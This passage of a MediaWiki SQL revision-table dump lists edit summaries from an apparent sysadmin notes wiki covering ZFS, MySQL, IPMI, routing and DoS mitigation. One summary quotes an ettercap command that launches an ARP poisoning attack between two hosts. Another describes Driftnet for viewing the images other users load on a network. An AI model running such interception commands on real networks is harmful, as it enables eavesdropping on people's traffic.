a lot of perl module dependancies and of course they may in f...',1,'WikiAdmin','20080508170405',0,0,598,0),(205,86,205,'',1,'WikiAdmin','20080508173613',0,0,2194,204),(212,86,212,'',0,'66.118.128.10','20080512214534',0,0,2761,205),(237,86,237,'',0,'72.184.142.174','20080516055255',0,0,3248,212),(207,87,207,'New page: == Speed Test Tools ==  There are a number of tools for testing network speeds. The simplest is to just grab a file using wget, the output of which will display the transfer speed. You can...',1,'WikiAdmin','20080509144427',0,0,9234,0),(217,87,217,'/* Speed Test Tools */',1,'WikiAdmin','20080514190950',0,0,9454,207),(218,87,218,'/* Speed Test Tools */',1,'WikiAdmin','20080514191032',0,0,9473,217),(219,87,219,'/* Extended Speed Testing */',0,'66.118.128.10','20080515142640',0,0,11221,218),(208,88,208,'New page:   == Video Demos ==  http://opensolaris.org/os/community/zfs/demos/    == ZFS Tools ==  ZRM to backup MySQL databases using ZFS snapshots  http://www.oreillynet.com/databases/blog/2008/04/...',1,'WikiAdmin','20080512003859',0,0,225,0),(209,88,209,'',1,'WikiAdmin','20080512004049',0,0,288,208),(210,88,210,'',1,'WikiAdmin','20080512010425',0,0,344,209),(211,88,211,'',1,'WikiAdmin','20080512054929',0,0,3908,210),(220,88,220,'/* Super Fast CentOS 4.6 install */',0,'66.118.128.10','20080515153131',0,0,4452,211),(221,88,221,'/* Super Fast CentOS 4.6/5.0 install */',0,'66.118.128.10','20080515153221',0,0,4453,220),(222,88,222,'/* Super Fast CentOS 4.6/5.0 install */',0,'66.118.128.10','20080515153342',0,0,4541,221),(223,88,223,'/* Related Topics */',0,'66.118.128.10','20080515154003',0,0,4625,222),(224,88,224,'/* Super Fast CentOS 4.6/5.0 install */',0,'66.118.128.10','20080515154525',0,0,4836,223),(225,88,225,'/* Super Fast CentOS 4.6/5.0 install */',0,'66.118.128.10','20080515155727',0,0,5114,224),(226,88,226,'/* Intro */',0,'66.118.128.10','20080515161503',0,0,6499,225),(227,88,227,'/* Intro */',0,'66.118.128.10','20080515162015',0,0,6937,226),(228,88,228,'/* ZFS Tutorial */',0,'66.118.128.10','20080515162228',0,0,6951,227),(229,88,229,'/* ZFS Tutorial */',0,'66.118.128.10','20080515162524',0,0,6990,228),(230,88,230,'',0,'66.118.128.10','20080515162857',0,0,6873,229),(231,88,231,'/* Installing ZFS */',0,'66.118.128.10','20080515163035',0,0,6885,230),(232,88,232,'/* Intro */',0,'66.118.128.10','20080515184418',0,0,6892,231),(479,88,478,'',1,'WikiAdmin','20081022191856',0,0,7177,232),(484,88,483,'/* Using ZFS */',1,'WikiAdmin','20081027150748',0,0,7763,479),(215,89,215,'New page: \'\'\'Dis-allow ssh, but allow ftp user connections\'\'\'  Set the shell in /etc/passed to /sbin/nologin   cisco:x:500:500::/home/cisco:/sbin/nologin  Edit vsftp.conf to include  # cat /etc/vsft...',1,'WikiAdmin','20080513224806',0,0,1295,0),(216,90,216,'New page:  \'\'\'Fundamentals of Network Security\'\'\'   http://cisco.com/en/US/solutions/ns170/sml_index.html   Hacking democracy video on HBO about hacking in to change a democratic vote.  Signal Magaz...',1,'WikiAdmin','20080514021248',0,0,294,0),(234,90,234,'',0,'66.194.104.5','20080516003658',0,0,452,216),(235,90,235,'',1,'WikiAdmin','20080516015713',0,0,795,234),(266,90,265,'',1,'WikiAdmin','20080606003726',0,0,1277,235),(267,90,266,'',1,'WikiAdmin','20080606005905',0,0,1922,266),(276,90,275,'',1,'WikiAdmin','20080609223430',0,0,2161,267),(233,91,233,'New page:        \'\'sshfs  is  a filesystem client based on the SSH File Transfer Protocol.        Since most SSH servers already support this protocol it is very easy to        set  up:  i.e. on the...',1,'WikiAdmin','20080515210704',0,0,1437,0),(238,92,238,'New page:  You can get Cygwin from here:  http://www.cygwin.com/  \'\'\'SSh\'\'\'  Starting ssh server:  net start sshd or cygrunsrv  --start  sshd  Click here on how to stop the sshd service.  If the ser...',1,'WikiAdmin','20080520194619',0,0,572,0),(239,92,239,'',1,'WikiAdmin','20080520194630',0,0,571,238),(240,92,240,'',1,'WikiAdmin','20080521144545',0,0,678,239),(241,93,241,'New page: Ever have this happen when trying to install .rpms on customers boxes:   [root@ns downloads]# rpm -Uvh some_silly_package.rpm  error: cannot open Packages index using db3 - Permission deni...',1,'WikiAdmin','20080521163722',0,0,1690,0),(242,94,242,'New page: \'\'\'General text effects:\'\'\'  http://meta.wikimedia.org/wiki/MediaWiki_User\'s_Guide:_Editing_overview  http://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style  <pre> <font color = \"red\"> <st...',1,'WikiAdmin','20080525212705',0,0,626,0),(244,95,244,'New page:  \'\'\'SSH Control Hotkeys\'\'\'  ~ then ? = Help menu   ~ then . = disconnect session  ~ then # = List forwarded connections     \'\'\'NCSA Site on ssh error\'\'\'  oo many authentication failures fo...',1,'WikiAdmin','20080527123317',0,0,273,0),(245,96,245,'New page: == General Info ==  *To check quotas of a user type:  repquota -a  *This will show a list of all users and the quotas assigned to them in KB.  To show the limits in MB use:  /usr/sbin/repq...',1,'WikiAdmin','20080527123436',0,0,6306,0),(248,96,248,'/* Email Notifications */',0,'66.118.128.10','20080527132631',0,0,6397,245),(249,96,249,'/* Running Quotacheck */',0,'66.118.128.10','20080527133611',0,0,6962,248),(246,97,246,'New page: Most of us have already used the Frenzy Live CD.  http://frenzy.org.ua/eng/  http://news.softpedia.com/news/Frenzy-Live-CD-24225.shtml  In playing with it more the other day I found it act...',1,'WikiAdmin','20080527123547',0,0,2121,0),(250,98,250,'New page:   Some stuff to know about iptables and how to configure it:  http://wiki.kartbuilding.net/index.php/Iptables_Firewall#Control_of_Iptables_.28inactive_is_a_blank_file_with_no_rules.29:',1,'WikiAdmin','20080528124559',0,0,184,0),(251,99,251,'New page: \'\'\'Intro\'\'\'  Driftnet is an amazingly clever tool to see what web images are being viewed by users on your local network. From the man page:  \'\'Driftnet watches network traffic, and picks ...',1,'WikiAdmin','20080528160427',0,0,1489,0),(252,100,252,'New page:  So many different ways of doing the same thing, with tricky aspects to boot. Here are some notes regarding package managers and dependency resolution used by different distros    == Open ...',1,'WikiAdmin','20080530005007',0,0,764,0),(361,100,360,'',1,'WikiAdmin','20080803231813',0,0,884,252),(490,100,489,'/* RPM Tricks */',1,'WikiAdmin','20081104004216',0,0,1145,361),(513,100,512,'/* Open Suse */',1,'WikiAdmin','20081116033853',0,0,2936,490),(939,100,937,'/* Open Suse */',1,'WikiAdmin','20100411105853',0,0,3050,513),(1083,100,1081,'',1,'WikiAdmin','20100802194604',0,0,3216,939),(1185,100,1183,'/* RPM Tricks */',1,'WikiAdmin','20101020150643',0,0,3473,1083),(1273,100,1271,'/* RPM Tricks */',1,'WikiAdmin','20101209190439',0,0,3790,1185),(1281,100,1279,'/* RPM GPG Signatures */',1,'WikiAdmin','20101216231317',0,0,3916,1273),(253,101,253,'New page:  Invoking ettercap:  #ettercap -T -M arp:remote /192.168.1.1/ /192.168.1.100/ Invokes with -T text interface, also available are -C curses and -G gui launches an arp poisoning attack betwe...',1,'WikiAdmin','20080530015623',0,0,1673,0),(254,101,254,'',1,'WikiAdmin','20080530015652',1,0,1674,253),(255,101,255,'',1,'WikiAdmin','20080530020421',0,0,1955,254),(256,101,256,'/* Man in the Middle Defense */',1,'WikiAdmin','20080530021204',0,0,2384,255),(514,101,513,'/* Invoking ettercap */',1,'WikiAdmin','20081116034838',0,0,2558,256),(515,101,514,'/* Filters */',1,'WikiAdmin','20081116052137',0,0,2775,514),(257,102,257,'New page: \'\'\'System Package Timeline\'\'\'  What packages where installed last? When \'\'exactly\'\' and in what sequence?  What just happened with this server anyway . . . I bet someone installed somethin...',1,'WikiAdmin','20080531010454',0,0,4302,0),(258,102,258,'',1,'WikiAdmin','20080531010922',0,0,4354,257),(259,102,259,'',0,'72.184.142.174','20080531203737',0,0,5774,258),(260,102,260,'',0,'72.184.142.174','20080531205034',0,0,5959,259),(261,102,260,'[[Bash: Sorting and Filtering Data]] moved to [[RPM Install Timeline Report]]',1,'WikiAdmin','20080531223911',1,0,NULL,260),(262,103,261,'[[Bash: Sorting and Filtering Data]] moved to [[RPM Install Timeline Report]]',1,'WikiAdmin','20080531223911',0,0,41,0),(263,104,262,'New page:  == Customer OS Installs ==  Customers can now install CentOS 5 and Suse themselves, set up their partitions, select their packages, etc. via VNC connection to the network installer, just ...',1,'WikiAdmin','20080603195732',0,0,2146,0),(264,104,263,'',1,'WikiAdmin','20080605144753',0,0,2929,263),(265,104,264,'/* Misc. References */',1,'WikiAdmin','20080605201744',0,0,3031,264),(268,104,267,'',1,'WikiAdmin','20080606143320',0,0,5586,265),(269,104,268,'/* Suse VNC Installs */',1,'WikiAdmin','20080606143405',0,0,5586,268),(270,104,269,'/* Suse VNC Installs */',1,'WikiAdmin','20080606143530',0,0,5594,269),(271,104,270,'/* Suse VNC Installs */',1,'WikiAdmin','20080606151622',0,0,6282,270),(272,104,271,'',1,'WikiAdmin','20080606151640',0,0,6283,271),(273,104,272,'/* Suse VNC Installs */',1,'WikiAdmin','20080606170340',0,0,6443,272),(274,105,273,'New page: Various notes about Wubi and Ubuntu running on my Compaq Evo N180 (essentially the same as a Compaq 2700).   == S Video Out ==  The S Video was not correctly recognized under 8.04 by defau...',1,'WikiAdmin','20080607132445',0,0,1882,0),(275,105,274,'',1,'WikiAdmin','20080607214055',0,0,2437,274),(278,106,277,'New page: Port knocking is one of those gems you come across every so often. Its method of operation is quite simple, but the uses to which it can be put are very impressive.   Essentially port knoc...',1,'WikiAdmin','20080614204927',0,0,4882,0),(279,107,278,'New page:  To be written . .   There are many tools available to monitor log in attempts.   http://www.fail2ban.org/wiki/index.php/Main_Page  http://www.la-samhna.de/library/brutessh.html  http://ww...',1,'WikiAdmin','20080614205055',0,0,201,0),(282,108,281,'New page:   Bash color control secuences, this site is helpful:  http://www.linux-mag.com/downloads/2003-09/power/escape_sequences.html    archimedes@Anduril:~$ echo -e \'\\033[34m---------------blah-...',1,'WikiAdmin','20080617182653',0,0,813,0),(318,108,317,'',1,'WikiAdmin','20080715132624',0,0,1150,282),(371,108,370,'',1,'WikiAdmin','20080814124810',0,0,1455,318),(442,108,441,'',1,'WikiAdmin','20081007003730',0,0,1599,371),(488,108,487,'/* Misc. Bash Commands */',1,'WikiAdmin','20081101170826',0,0,1918,442),(491,108,490,'/* Misc. Bash Commands */',1,'WikiAdmin','20081105014200',0,0,1966,488),(492,108,491,'/* Misc. Bash Commands */',1,'WikiAdmin','20081105014855',0,0,2251,491),(598,108,597,'/* Pretty Bash Colors */',1,'WikiAdmin','20090207192828',0,0,2311,492),(658,108,656,'/* Pretty Bash Colors */',1,'WikiAdmin','20090521235652',0,0,3375,598),(659,108,657,'/* Color Man Pages */',1,'WikiAdmin','20090522000945',0,0,3470,658),(704,108,702,'',1,'WikiAdmin','20090807150346',0,0,3874,659),(1054,108,1052,'/* Misc. Bash Commands */',1,'WikiAdmin','20100721151012',0,0,3991,704),(1066,108,1064,'/* Misc. Bash Commands */',1,'WikiAdmin','20100723203433',0,0,4339,1054),(1080,108,1078,'/* Misc. Bash Commands */',1,'WikiAdmin','20100728075925',0,0,4552,1066),(1088,108,1086,'/* Setterm settings */',1,'WikiAdmin','20100806122026',0,0,4872,1080),(1200,108,1198,'/* xargs vs exec */',1,'WikiAdmin','20101030211653',0,0,5019,1088),(1256,108,1254,'/* xargs vs exec */',1,'WikiAdmin','20101123002526',0,0,5283,1200),(284,109,283,'New page:   http://www.tenablesecurity.com/nessus/  Problems with connecting using the nessus client are often related to the SSL certificate. These sites can help with that. Note, the client has a ...',1,'WikiAdmin','20080619183209',0,0,665,0),(285,110,284,'New page: Ultima 4 is available for Linux and OS X and is the complete game, fully playable. It is not a recreation, but uses the actual game files which Origin Systems has given to the community. T...',1,'WikiAdmin','20080620121840',0,0,7685,0),(286,110,285,'',1,'WikiAdmin','20080621162107',0,0,7684,285),(287,111,286,'New page:  VMware Server 2.0 Beta 2 is out and so here are a few notes on it. The management interface is now web based, I am interested in checking this out and so will be installing it and making ...',1,'WikiAdmin','20080621204958',0,0,688,0),(367,111,366,'',1,'WikiAdmin','20080810150312',0,0,1611,287),(368,111,367,'',1,'WikiAdmin','20080810154552',0,0,2142,367),(369,111,368,'/* Firefox Plugin Issues */',1,'WikiAdmin','20080810160955',0,0,2885,368),(289,112,288,'New page:  Image Magick is a collection of Linux command line utilities which allows you to do a wide variety of image manipulation functions from the shell. Some of the tricks you can pull off with...',1,'WikiAdmin','20080623113726',0,0,494,0),(290,113,289,'New page:   \'\'\'Some general information on input streams and redirection\'\'\'  http://en.wikipedia.org/wiki/Standard_streams  http://en.wikipedia.org/wiki/Redirection_%28Unix%29   \'\'\'Stopping Console ...',1,'WikiAdmin','20080623141347',0,0,364,0),(291,113,290,'',1,'WikiAdmin','20080623141636',0,0,364,290),(293,113,292,'',1,'WikiAdmin','20080624132717',0,0,670,291),(294,113,293,'',1,'WikiAdmin','20080626112147',0,0,863,293),(292,114,291,'New page:   Books I am interested in:  http://www.amazon.com/Computer-Systems-Programmers-Randal-Bryant/dp/013034074X  CPU architecture, compiler, loaders, linker, memory addressing, etc.   Hardcove...',1,'WikiAdmin','20080623163653',0,0,321,0),(297,114,296,'',1,'WikiAdmin','20080630180117',0,0,1146,292),(326,114,325,'',1,'WikiAdmin','20080717230136',0,0,1525,297),(894,114,892,'',1,'WikiAdmin','20100314190011',0,0,2157,326),(895,114,893,'/* Non-Fiction */',1,'WikiAdmin','20100314191353',0,0,2291,894),(1065,114,1063,'/* Non-Fiction */',1,'WikiAdmin','20100723200108',0,0,2582,895),(1368,114,1366,'/* Non-Fiction */',1,'WikiAdmin','20110112190112',0,0,2829,1065),(295,115,294,'New page: == PIX Firewalls and DoS Attacks ==  DoS attacks are a real pain in the ass. I am starting to research how to utilize Cisco PIX / ASA appliances to configure and deploy on an as-needed bas...',1,'WikiAdmin','20080629183629',0,0,1632,0),(298,116,297,'New page:  How to migrate from Time and Chaos 7 to SugarCRM  If you need to get T&C to work with it, the application can be downloaded from:  http://www.chaossoftware.com/products.asp  You can insta...',1,'WikiAdmin','20080630195004',0,0,1017,0),(299,116,298,'',1,'WikiAdmin','20080630201439',0,0,1454,298),(304,117,303,'New page:  \'\'\'initramfs & Early User-space\'\'\'  The 2.6 Kernel uses initramfs which is a newer method from initrd and allows for the use of early-userspace. initramfs is itself a cpio archive.   Here...',1,'WikiAdmin','20080702120654',0,0,1240,0),(310,118,309,'New page: \'\'\'\'\'IP Theft Disclaimer\'\'\': \'\'\'ALL\'\'\' use of additional IPs must be requested and provisioned. If you use ANY IPs outside the ones originally  provisioned it will be treated as abusive ac...',1,'WikiAdmin','20080709120442',0,0,4512,0),(317,119,316,'New page:   == XFCE On Fedora ==  http://www.freelikegnu.org/?p=13   == Installing Ubuntu ==  http://wiki.laptop.org/go/Installing_Ubuntu_using_Compressed_Files  http://icrontic.com/articles/ubuntu_...',1,'WikiAdmin','20080714233844',0,0,829,0),(331,119,330,'/* Installing Ubuntu */',1,'WikiAdmin','20080721225828',0,0,918,317),(347,119,346,'',1,'WikiAdmin','20080726142722',0,0,1251,331),(348,119,347,'/* Kernel Building */',1,'WikiAdmin','20080726154546',0,0,1999,347),(350,119,349,'',1,'WikiAdmin','20080729004946',0,0,2856,348),(351,119,350,'',1,'WikiAdmin','20080729005027',0,0,2867,350),(693,119,691,'/* Installing Ubuntu */',1,'WikiAdmin','20090714014510',0,0,4212,351),(319,120,318,'New page:    == Main Site & Documentation ==  http://www.tux.org/pub/people/kent-robotti/looplinux/rip/  http://www.tux.org/pub/people/kent-robotti/looplinux/rip/docs/RIPLinuX.txt    == Remastering ...',1,'WikiAdmin','20080716175308',0,0,1136,0),(320,121,319,'New page:   ipmitool and openimpi are two toolset you can use to access an IMPI enabled device.   IMPI Commands:  support@support-desktop:~$ ipmitool -U root -H 192.168.42.100 shell  Starts an inter...',1,'WikiAdmin','20080717174419',0,0,469,0),(321,121,320,'',1,'WikiAdmin','20080717184604',0,0,798,320),(322,121,321,'',1,'WikiAdmin','20080717185011',0,0,2679,321),(323,121,322,'',1,'WikiAdmin','20080717191325',0,0,2887,322),(324,121,323,'',1,'WikiAdmin','20080717195339',0,0,3169,323),(330,121,329,'',1,'WikiAdmin','20080721184221',0,0,5223,324),(336,121,335,'',1,'WikiAdmin','20080725125232',0,0,7716,330),(337,121,336,'/* IPMI Configuration */',1,'WikiAdmin','20080725151000',0,0,8947,336),(338,121,337,'/* IMPI Commands */',1,'WikiAdmin','20080725151050',0,0,8843,337),(339,121,338,'/* Additional Information */',1,'WikiAdmin','20080725165116',0,0,8987,338),(340,121,339,'/* IMPI Commands */',1,'WikiAdmin','20080725165644',0,0,9507,339),(341,121,340,'/* IPMI Configuration */',1,'WikiAdmin','20080725170218',0,0,9620,340),(342,121,341,'/* IPMI Configuration */',1,'WikiAdmin','20080725170313',0,0,9703,341),(343,121,342,'/* IPMI Configuration */',1,'WikiAdmin','20080725170423',0,0,9724,342),(344,121,343,'/* IPMI Remote Management */',1,'WikiAdmin','20080725170721',0,0,9483,343),(345,121,344,'/* Additional Information */',1,'WikiAdmin','20080725171608',0,0,9641,344),(346,121,345,'/* Additional Information */',1,'WikiAdmin','20080725184419',0,0,10090,345),(378,121,377,'/* Additional Testing Info */',1,'WikiAdmin','20080820193410',0,0,9971,346),(327,122,326,'New page:   \'\'\'Subnetting:\'\'\'  Good subnetting review:  http://www2.northampton.edu/kmanna/Cisco_Student_Web/SG/How-to-Subnet%2010.pdf  Same thing as: http://72.14.205.104/search?q=cache:la2W7iCTJpc...',1,'WikiAdmin','20080717232442',0,0,420,0),(334,122,333,'',1,'WikiAdmin','20080724020312',0,0,484,327),(328,123,327,'New page:  New version of TorrentFlux, B4rt edition:  http://tf-b4rt.berlios.de/  http://svn.berlios.de/wsvn/tf-b4rt/trunk/INSTALL (Includes upgrade instruction from earlier TF versions.)  Script to...',1,'WikiAdmin','20080718024020',0,0,437,0),(329,123,328,'',1,'WikiAdmin','20080718024550',0,0,434,328),(335,124,334,'New page: == DoS Attacks ==  Any server can be the recipient of a DoS (Denial of Service) attack. If you have any services running (FTP, HTTP, etc.) these can be attacked. The idea is to tie up the ...',1,'WikiAdmin','20080725120823',0,0,7583,0),(457,124,456,'/* How to Mitigate DoS Attacks */',1,'WikiAdmin','20081013135947',0,0,10723,335),(349,125,348,'New page:  http://www.tlsi.net/',1,'WikiAdmin','20080728190934',0,0,21,0),(352,126,351,'New page:  == OpenManage Server Admin ==  Easy to install web interface that gives all kind of sever status information. This can easily be installed on CentOS Dell servers. (There is also a Windows...',1,'WikiAdmin','20080729150953',0,0,1600,0),(353,126,352,'/* OpenManage Server Admin */',1,'WikiAdmin','20080729151145',0,0,1654,352),(354,126,353,'/* OpenManage Server Admin */',1,'WikiAdmin','20080729161028',0,0,1807,353),(355,126,354,'/* OpenManage Server Admin */',1,'WikiAdmin','20080729162442',0,0,1689,354),(812,126,810,'',1,'WikiAdmin','20100121150926',0,0,1715,355),(1300,126,1298,'/* OpenManage Server Admin */',1,'WikiAdmin','20101220133714',0,0,2215,812),(1301,126,1299,'/* Troubleshooting */',1,'WikiAdmin','20101220135253',0,0,2087,1300),(1302,126,1300,'/* References */',1,'WikiAdmin','20101220135305',0,0,2193,1301),(1303,126,1301,'/* OpenManage Server Admin */',1,'WikiAdmin','20101220184326',0,0,2290,1302),(1304,126,1302,'/* Troubleshooting */',1,'WikiAdmin','20101220184642',0,0,2737,1303),(1305,126,1303,'/* OpenManage Server Admin */',1,'WikiAdmin','20101220185642',0,0,3658,1304),(1306,126,1304,'/* References */',1,'WikiAdmin','20101220190045',0,0,4011,1305),(1307,126,1305,'/* OpenManage Server Admin */',1,'WikiAdmin','20101220190114',0,0,4128,1306),(1308,126,1306,'/* References */',1,'WikiAdmin','20101220190332',0,0,4226,1307),(1309,126,1307,'/* OpenManage Server Admin */',1,'WikiAdmin','20101220190352',0,0,4272,1308),(1310,126,1308,'/* OpenManage Server Admin */',1,'WikiAdmin','20101220191157',0,0,4741,1309),(1311,126,1309,'/* OpenManage Server Admin */',1,'WikiAdmin','20101220192235',0,0,4932,1310),(1312,126,1310,'/* OpenManage Server Admin */',1,'WikiAdmin','20101220192724',0,0,5017,1311),(1315,126,1313,'/* OpenManage Server Admin */',1,'WikiAdmin','20101220205145',0,0,5019,1312),(1316,126,1314,'/* OpenManage Server Admin */',1,'WikiAdmin','20101220205316',0,0,5137,1315),(356,127,355,'New page: Handy quick commands for running multiple X servers. Very useful if you want to run different desktops on separate vtys - say KDE on vty7, Gnome on vty8 and fluxbox, etc. Or run two versio...',1,'WikiAdmin','20080731222625',0,0,4737,0),(357,128,356,'New page: == Many Quests for the Grail ==  Virtualization can be accomplished via several different methods, each having its strengths and weaknesses. Performance of the guest Virtual Machines, reso...',1,'WikiAdmin','20080803030218',0,0,5257,0),(358,128,357,'/* Full On Virtualization */',1,'WikiAdmin','20080803030414',0,0,5427,357),(359,128,358,'/* OS Level Virtualization */',1,'WikiAdmin','20080803030733',0,0,5428,358),(360,129,359,'New page: == Backup Partition Table ==  Before you get too crazy how about you back up your partition table first:   #sfdisk -d /dev/sda > sda.part.table  And restore it with:   #sfdisk /dev/sda < s...',1,'WikiAdmin','20080803153009',0,0,1324,0),(365,130,364,'New page:   Infiscale offers both Caos Linux and Perceus.   Caos is a community operating system, which is RPM based and binary compatible with RHEL.  Perceus is a cluster management system that is ...',1,'WikiAdmin','20080804234205',0,0,639,0),(366,131,365,'New page: FluidVM is a web based GUI for managing KVM and Open VZ based virtual machines.  Trial download and full documentation can be found at:  http://binarykarma.com/download.php  Download the g...',1,'WikiAdmin','20080806195124',0,0,719,0),(758,131,756,'',1,'WikiAdmin','20091009132449',0,0,3715,366),(370,132,369,'New page:   == Solaris Dtrace ==  Observable Architecture is one description. Dtrace is a very large improvement on system profiling tools, vastly more usable than the numerous discrete tools common...',1,'WikiAdmin','20080811004203',0,0,1812,0),(775,132,773,'/* Solaris Dtrace */',1,'WikiAdmin','20091110180216',0,0,2304,370),(372,133,371,'New page: \'\'\'Container Root File Systems\'\'\'  Virtuozzo uses a root.efd file which contains the customers root file system. If the VPS is not running, won\'t start, etc. then how do you access their s...',1,'WikiAdmin','20080814125454',0,0,2645,0),(373,134,372,'New page: http://kb.parallels.com/en/1008  Summary:  <pre> vzctl stop 115 vzcfgt get 115 GUID vzdskctl mount c:\\vz\\private\\115\\root.efd {799251BE-720C-468E-B877-913F49476001 } chkdsk /f \\\\?\\Volume{7...',1,'WikiAdmin','20080814125537',0,0,304,0),(374,135,373,'New page: == Intro ==  Dell\'s OpenManage IT Assistant (ITA) is a central management console which allows the monitoring and management of a wide variety for Dell devices on your network. ITA runs on...',1,'WikiAdmin','20080814125646',0,0,2353,0),(379,136,378,'New page:  == Sun History ==  OpenSolaris is the open source distribution of Sun Microsystem\'s Solaris operating system. The OpenSolaris project was started by Sun in June of 2005.   Solaris has a l...',1,'WikiAdmin','20080821010931',0,0,4762,0),(380,136,379,'/* Other Cool Sun Stuff */',1,'WikiAdmin','20080821012556',0,0,5039,379),(381,136,380,'/* Merging the Minds */',1,'WikiAdmin','20080821014346',0,0,6637,380),(382,136,381,'/* Merging of the Minds */',1,'WikiAdmin','20080821020028',0,0,6990,381),(383,136,382,'',1,'WikiAdmin','20080821021756',0,0,7278,382),(384,136,383,'/* Project Indiana */',1,'WikiAdmin','20080821022130',0,0,7329,383),(385,136,384,'/* Project Indiana */',1,'WikiAdmin','20080821022519',0,0,7420,384),(386,136,385,'/* Ian Murdock & Indiana */',1,'WikiAdmin','20080821022734',0,0,7464,385),(387,136,386,'/* Sun History */',1,'WikiAdmin','20080821023111',0,0,7447,386),(388,136,387,'/* Ian Murdock & Indiana */',1,'WikiAdmin','20080821023352',0,0,7459,387),(389,136,388,'/* Merging of the Minds */',1,'WikiAdmin','20080821023858',0,0,7456,388),(390,137,389,'New page:  == Networking Config ==   ifconfig -a  Make sure your /etc/resolv.conf is configured  Still won\'t work?  Check that /etc/nsswitch.conf - \"hosts\" and \"ipnodes\" parameters need to be set to...',1,'WikiAdmin','20080822011352',0,0,1980,0),(391,137,390,'/* Installing MySQL */',1,'WikiAdmin','20080822011527',0,0,2070,390),(392,137,391,'/* Installing VMWare tools */',1,'WikiAdmin','20080822011710',0,0,2496,391),(393,137,392,'/* Slow Boot Speed */',1,'WikiAdmin','20080822012930',0,0,2835,392),(394,137,393,'/* Installing VMWare tools */',1,'WikiAdmin','20080822013716',0,0,2508,393),(395,137,394,'',1,'WikiAdmin','20080822123242',0,0,2639,394),(396,137,395,'/* FluidVM Boot */',1,'WikiAdmin','20080822123658',0,0,2757,395),(397,137,396,'',1,'WikiAdmin','20080822123842',0,0,2867,396),(399,137,398,'/* Installing In Xen */',1,'WikiAdmin','20080823153703',0,0,3969,397),(400,137,399,'/* Installing VMWare tools */',1,'WikiAdmin','20080823153807',0,0,3803,399),(401,137,400,'/* Installing VMWare Tools */',1,'WikiAdmin','20080823153830',0,0,3940,400),(402,138,401,'New page:   If you want to chroot ssh users there are a few things to consider, and and ssh patch you can use. OpenSSH does not really support this in the default binary  See:  http://undeadly.org/c...',1,'WikiAdmin','20080825140711',0,0,259,0),(404,139,403,'New page:  \'\'\'EIGRP\'\'\'  Variance allows load balancing over unequal cost paths. OSPF does not allow this.  To include higher cost routes that the successor, use the variance command. \'\'\'NOTE:\'\'\' Thi...',1,'WikiAdmin','20080829012203',0,0,377,0),(405,139,404,'',1,'WikiAdmin','20080902224328',0,0,745,404),(406,139,405,'',1,'WikiAdmin','20080902224959',0,0,753,405),(407,139,406,'',1,'WikiAdmin','20080903000341',0,0,931,406),(408,139,407,'',1,'WikiAdmin','20080903003221',0,0,976,407),(409,139,408,'',1,'WikiAdmin','20080904225105',0,0,1911,408),(410,139,409,'/* Route Summarization */',1,'WikiAdmin','20080905003215',0,0,2197,409),(411,139,410,'/* Route Summarization */',1,'WikiAdmin','20080909223322',1,0,2261,410),(412,139,411,'/* IS-IS */',1,'WikiAdmin','20080910011315',0,0,3156,411),(417,139,416,'/* IS-IS */',1,'WikiAdmin','20080916224915',0,0,3257,412),(418,139,417,'/* Route Redistribution */',1,'WikiAdmin','20080917012718',0,0,4966,417),(419,139,418,'/* Route Redistribution */',1,'WikiAdmin','20080919001530',0,0,4981,418),(420,139,419,'/* BGP Fun */',1,'WikiAdmin','20080919004214',0,0,6325,419),(429,139,428,'/* BGP Fun */',1,'WikiAdmin','20080923221908',0,0,6344,420),(430,139,429,'/* More on BGP */',1,'WikiAdmin','20080923224433',0,0,6786,429),(431,139,430,'/* More on BGP */',1,'WikiAdmin','20080925224623',0,0,7168,430),(432,139,431,'/* More on BGP */',1,'WikiAdmin','20080925234739',0,0,7863,431),(433,139,432,'/* IP Multicasting */',1,'WikiAdmin','20080926010728',0,0,8009,432),(439,139,438,'/* IP Multicasting */',1,'WikiAdmin','20081002220608',0,0,8586,433),(440,139,439,'/* IPV6 */',1,'WikiAdmin','20081004202527',0,0,8964,439),(413,140,412,'New page:   == Economics ==  Thomas Malthus: Wrote famous essay on population http://en.wikipedia.org/wiki/An_Essay_on_the_Principle_of_Population presenting the ideas of overpopulation and limited ...',1,'WikiAdmin','20080910150548',0,0,507,0),(414,140,413,'/* Economics */',1,'WikiAdmin','20080910150705',0,0,519,413),(421,141,420,'New page:  == Email Address Verification ==  How to tell if an email address exists at a remote mail server . . .   The blow is from a email verification test using http://vancouver-webpages.com/net...',1,'WikiAdmin','20080919132113',0,0,591,0),(422,141,421,'/* Email Address Verification */',1,'WikiAdmin','20080919132333',0,0,579,421),(423,141,422,'/* Email Address Verification */',1,'WikiAdmin','20080919132509',0,0,580,422),(575,141,574,'/* Email Address Verification */',1,'WikiAdmin','20081228201905',0,0,1407,423),(424,142,423,'New page:    == Show Variables ==  #mysqladmin variables   Or from the MySQL Client:  mysql> SHOW VARIABLES LIKE \'%dir%\';   == Query Logging ==  [mysqld]  set-variable=long_query_time=2 log-slow-que...',1,'WikiAdmin','20080923130942',0,0,828,0),(435,142,434,'',1,'WikiAdmin','20080926175528',0,0,842,424),(436,142,435,'/* Query Logging */',1,'WikiAdmin','20080926175722',0,0,839,435),(589,142,588,'/* Query Logging */',1,'WikiAdmin','20090121192422',0,0,964,436),(649,142,647,'',1,'WikiAdmin','20090507135912',0,0,1632,589),(650,142,648,'/* User Priviledges */',1,'WikiAdmin','20090507143604',0,0,1712,649),(651,142,649,'/* User Priviledges */',1,'WikiAdmin','20090507144610',0,0,2098,650),(702,142,700,'/* User Priviledges */',1,'WikiAdmin','20090805224952',0,0,2775,651),(703,142,701,'/* Importing Databases */',1,'WikiAdmin','20090806022942',0,0,3365,702),(916,142,914,'/* Show Variables */',1,'WikiAdmin','20100325161943',0,0,4476,703),(1035,142,1033,'/* Importing Databases */',1,'WikiAdmin','20100706143133',0,0,5321,916),(1036,142,1034,'/* Show Variables */',1,'WikiAdmin','20100706144202',0,0,5958,1035),(1037,142,1035,'/* Table Engines */',1,'WikiAdmin','20100706144451',0,0,6049,1036),(1121,142,1119,'/* Unathenticated users */',1,'WikiAdmin','20100824192310',0,0,6254,1037),(1132,142,1130,'/* User Priviledges */',1,'WikiAdmin','20100923195528',0,0,6248,1121),(1133,142,1131,'/* User Priviledges */',1,'WikiAdmin','20100923200813',0,0,7622,1132),(1134,142,1132,'/* Interfaces */',1,'WikiAdmin','20100923200853',0,0,7726,1133),(1135,142,1133,'/* Running out of /tmp */',1,'WikiAdmin','20100923202728',0,0,8040,1134),(1196,142,1194,'/* Resources */',1,'WikiAdmin','20101029211434',0,0,8098,1135),(425,143,424,'New page:   == A740G BIOS Updating ==  The AMD Biostar A740G +M2 boards do not have a built in Alt-F2 BIOS update utility and 